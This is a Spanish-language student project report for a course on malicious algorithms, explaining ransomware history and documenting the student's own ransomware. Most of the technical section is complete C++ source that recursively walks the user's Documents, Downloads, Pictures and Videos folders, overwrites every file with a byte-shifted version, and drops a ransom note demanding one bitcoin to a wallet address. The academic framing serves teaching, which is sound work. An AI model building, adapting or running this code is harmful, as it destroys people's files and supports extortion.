Instituto Tecnológico de Santo Domingo

Carrera: Ingeniería de Software

Asignatura: Algoritmos Maliciosos

Profesor: Harold Marzan

Nombre: **Juan Avila**

Matrícula/ID: 1100378

Proyecto Final: Ransomware

Julio 2022

Contenido

Introducción

El presente documento sirve como documentación para el programa malicioso desarrollado como proyecto final para la materia Algoritmos Maliciosos. Este pretende mostrar la implementación de una versión básica de un malware tipo ransomware, el cual basa su ataque en inutilizar archivos del sistema del usuario, llevando a la pérdida de datos, y va muy de la mano con técnicas de encriptado.

Contiene definiciones importantes sobre el ransomware, un breve repaso por su historia, y casos importantes de infección. Así mismo, contiene una descripción de los componentes del proyecto, repasando punto por punto el funcionamiento del proyecto, explicando de manera clara y concisa los procesos que lleva el algoritmo a cabo para ejecutar el ataque. Contiene conceptos de programación como la recursividad, y conceptos de ciberseguridad, como lo es el encriptado y desencriptado de archivos, generalmente usado para protección, pero en este caso dándole un uso malicioso.

Espero que tanto el proyecto como el contenido aquí presentado demuestren mi aprendizaje a lo largo del trimestre, y que el ransomware desarrollado sirva como representación a menor escala de lo que sería un ataque de este tipo, por lo que espero poder ilustrar el daño que un ataque bien diseñado puede llegar a realizar.

¿Qué es un ransomware?

Ransomware es un tipo de virus informático cuyo objetivo es, en términos básicos, tomar de rehén el sistema de la víctima para solicitar un rescate, generalmente monetario, que se debe pagar al atacante si el infectado quiere recuperar sus datos o incluso su sistema completo.

Generalmente, un ransomware trabaja de la mano con técnicas de cifrado, y apunta a los archivos de la victima para encriptarlos y dejarlos totalmente inutilizables. Además, es común la inclusión de temporizadores y cuentas atrás, que meten presión a la víctima para que pague el rescate o de lo contrario el daño será permanente, o en algunos casos, aumentar la cifra requerida para el rescate.

Historia

El primer caso de ransomware data de 1989, cuando Joseph Popp distribuyó con floppy disks su malware PC Cyborg, el cual, tras infectar inicialmente el sistema, ejecutaba su ataque tras encender el sistema 90 veces. A partir de ese punto, la evolución de este tipo de infección ha dado lugar a ataques más peligrosos y masivos, pues hoy en día los desarrolladores usan librerías de encriptado más difíciles de descifrar.

Además, el método de transmisión también ha evolucionado, pues en la actualidad optan por ataques phishing para colar el malware en el sistema de la víctima, logrando evitar ser detectados por sistemas anti spam.

Por último, mencionar que la mutación más reciente es la del ransomware as a service (RaaS), que ha llevado como, comenté antes, a la monetización de este tipo de programa malicioso, destacando aplicaciones como CryptoLocker, CryptoWall y Locky en este sector.

Figura 1. CryptoLocker en acción

Casos importantes

Entre los ataques de ransomware más destacados se encuentran:

- Ryuk: Provocó más de 60 millones de dólares en daños. Su propagación era realizada mediante correo electrónico, haciendo uso de phishing) y links maliciosos. El pago de rescate llegaba en ocasiones hasta los 300.000 mil dólares.
- SamSam: Ganó notoriedad en 2018 con la infección masiva en Atlanta, el departamento de transporte de Colorado y el puerto de San Diego. Se estima que con estos y otros ataques se perdieron 30 millones de dólares en daños. Se transmitía aprovechando vulnerabilidades en RDP y FTP.
- WannaCry: Este ransomware provocó unos 4 billones de dólares en pérdidas, y se transmitía con el uso de phishing en correo electrónico, llegando a afectar compañías de la talla de FedEx, Telefónica, Nissan y Renault, infectando en el proceso más de 200.000 personas y compañías.

Funcionamiento del ransomware desarrollado

Con motivo de demostrar el funcionamiento de un malware de este tipo, he desarrollado un programa malicioso tipo ransomware, siendo este una versión básica y un poco simple de lo que sería un ransomware creado por un hacker real. Aún teniendo estas cualidades, el programa es suficientemente dañino como para demostrar lo precavidos que debemos ser al abrir archivos obtenidos desde fuentes desconocidas, pues incluso el ransomware más básico nos puede hacer pasar un mal rato.

El programa ataca los directorios de archivos personales del usuario (Descargas, Documentos, Videos y Fotos), y encripta de forma recursiva todos los subdirectorios presentes, encriptando el contenido de todos los archivos allí guardados. Tras finalizar, el programa crea un archivo .txt donde le comunica al usuario que este ha sido víctima de un ataque ransomware, indicándole la dirección del wallet a la que debe pagar el rescate.

Ya entrando a un terreno más técnico, el programa cuenta con dos funciones principales:

- GenerateRescueFile: Genera el archivo txt que da a conocer al usuario que ha sido infectado por nuestro virus. Crea un archivo de nombre "YOUHAVEBEENHACKED" en el directorio desde el cual fue ejecutado el virus, y contiene un mensaje indicando la dirección del wallet a la cual el usuario debe efectuar el pago de rescate.

```
void generateRescueFile()
{
    fstream rescueFile;
    string rescueFilePath = "YOUHAVEBEENHACKED.txt";

    rescueFile.open(rescueFilePath, ios::out);
    rescueFile <<
"You have been hacked by jDeag. Send 1 btc to 1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2 if you want to unlock your files :)";
    rescueFile.close();
}
```

Figura 2. Función generateRescueFile

- fileEncrypt: Como se aprecia en la figura 2, el objetivo de esta función es encriptar el archivo. Toma el archivo especificado en la ruta que se pasa como argumento, a cada byte de este le suma 1 y lo guarda en un archivo temporal. Luego, se traslada cada byte+1 alojado en el archivo temporal al archivo original, dando lugar a la versión encriptada/inutilizada. Luego, elimina el archivo temporal para no dejar rastros. Como se puede apreciar,

este método casero de encriptado no es el mas avanzado, pero es eficiente y lo suficientemente dañino como para demostrar lo que sería un ransomware.

Como en las otras funciones, fileEncrypt es invocada múltiples veces durante el ataque, concretamente la función es llamada cada vez que se detecta un archivo.

```
void fileEncrypt(string filePath){
    fstream file,tmpFile;
    string tmpFilePath = "temp.txt";

    file.open(filePath, ios::in);
    tmpFile.open(tmpFilePath, ios::out);

    char byte;
    while(file >> noskipws >> byte){
        byte += 1;
        tmpFile << byte;
    }
    file.close();
    tmpFile.close();

    file.open(filePath, ios::out);
    tmpFile.open(tmpFilePath, ios::in);
    while(tmpFile >> noskipws >> byte){
        file << byte;
    }
    file.close();
    tmpFile.close();
    remove(tmpFilePath.c_str());
}
```

Figura 3. Función fileEncrypt

- dirEncrypt: Esta función itera de forma recursiva sobre el directorio que se le pase como argumento. Esto es, si le pasamos la ruta de documentos, iterará sobre todos los archivos, incluyendo los que se encuentren dentro de subdirectorios (carpetas) creados en dicha ruta. Por lo tanto, si damos

como parámetro la ruta de documentos, todos los archivos allí alojados quedarán encriptados e inutilizados, hasta que el usuario pague el rescate y se le envíe el programa de desbloqueo. Más concretamente, usando una estructura if else sigue explorando los directorios hasta dar con el más profundo, donde al detectar esto inicia la encriptación de archivos.

```
void dirEncrypt(string dirPath)
{
    DIR* dir;
    struct dirent* entry;
    struct stat status;
    string path;

    if((dir = opendir(dirPath.c_str())) != NULL){
        while((entry = readdir(dir)) != NULL){
            if(strcmp(entry -> d_name, ".") != 0 && strcmp(entry -> d_name, "..") != 0){
                path = dirPath+ "/" + entry -> d_name; //Varia de acuerdo con el OS
                stat(path.c_str(), &status);
                if (S_ISDIR(status.st_mode)){
                    dirEncrypt(path);
                }
                else
                {
                    fileEncrypt(path);
                }
            }
        }
    }
}
```

Figura 4. Función dirEncrypt

- Main: Es la función que pone en marcha el ataque, y es ejecutada automáticamente con la ejecución del virus. Toma el nombre de usuario (para dar mayor portabilidad del virus) e indica las rutas que serán infectadas, pasándolas como argumento a la función dirEncrypt. Por último, ejecuta la función generateRescueFile.

```
int main()
{
    string username = getenv("LOGNAME");
    dirEncrypt("/home/" + username + "/Documents/");
    dirEncrypt("/home/" + username + "/Downloads/");
    dirEncrypt("/home/" + username + "/Pictures/");
    dirEncrypt("/home/" + username + "/Videos/");
    generateRescueFile();
    return 0;
}
```

Figura 5. Función main

Conclusión

A lo largo y ancho de este documento se deja en claro los conceptos relacionados con el ransomware, pudiendo obtener de manera clara qué significa este concepto, su primera incidencia, evolución y casos importantes. También, con el desarrollo de un programa demostrativo con fines educativos, se deja en evidencia el daño que puede llegar a causar un ataque de este tipo.

La explicación de los procesos llevados a cabo por el programa anteriormente mencionado es, en mi opinión, lo suficientemente clara para dejar en manifiesto el funcionamiento del mismo, y ya en la presentación en vivo se podrá ver más claramente el daño que puede llegar a causar, incluso siendo un programa tan básico y desarrollado con muy pocas nociones del área de algoritmos maliciosos.

Por último, creo que con lo expuesto en este documento se deja en claro que debemos ser cautelosos con nuestro manejo por las redes, ya que descargar archivos desde fuentes desconocidas, o incluso hacer click en un link erróneo puede llevarnos a provocar un gran daño a nuestro sistema. Quiero concluir con la reflexión que me llevo: Debemos navegar con sentido común por internet, solo así podemos reducir en gran medida nuestro riesgo de infección. Debemos tener cuidado con los emails que abrimos, y las fuentes de las que obtenemos archivos.

Referencias

https://digitalguardian.com/blog/history-ransomware-attacks-biggest-and-worst-ransomware-attacks-all-time#:~:text=The%20First%20Ransomware%20Attack,-While%20ransomware%20has&text=According%20to%20Becker's%20Hospital%20Review,PC%20CYBORG%20advisory%20from%201989.

7 real and famous cases of ransomware attacks - Gatefy